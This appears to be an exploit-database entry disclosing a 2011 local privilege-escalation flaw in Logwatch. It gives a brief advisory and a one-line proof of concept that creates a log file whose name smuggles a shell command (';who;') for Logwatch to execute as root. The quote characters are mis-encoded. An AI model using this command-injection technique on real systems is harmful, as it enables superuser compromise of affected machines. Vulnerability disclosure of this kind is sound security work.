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Logwatch Log File - Special Characters Privilege Escalation

🗓️ 24 Feb 2011 00:00:00Reported by Dominik GeorgeType 
exploitdb
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Logwatch Log File Privilege Escalatio

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source: https://www.securityfocus.com/bid/46554/info

Logwatch is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue execute arbitrary code with superuser privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition. 

% echo "fake" > â??/var/log/httpd/fakee;who;access_log.2â?? 

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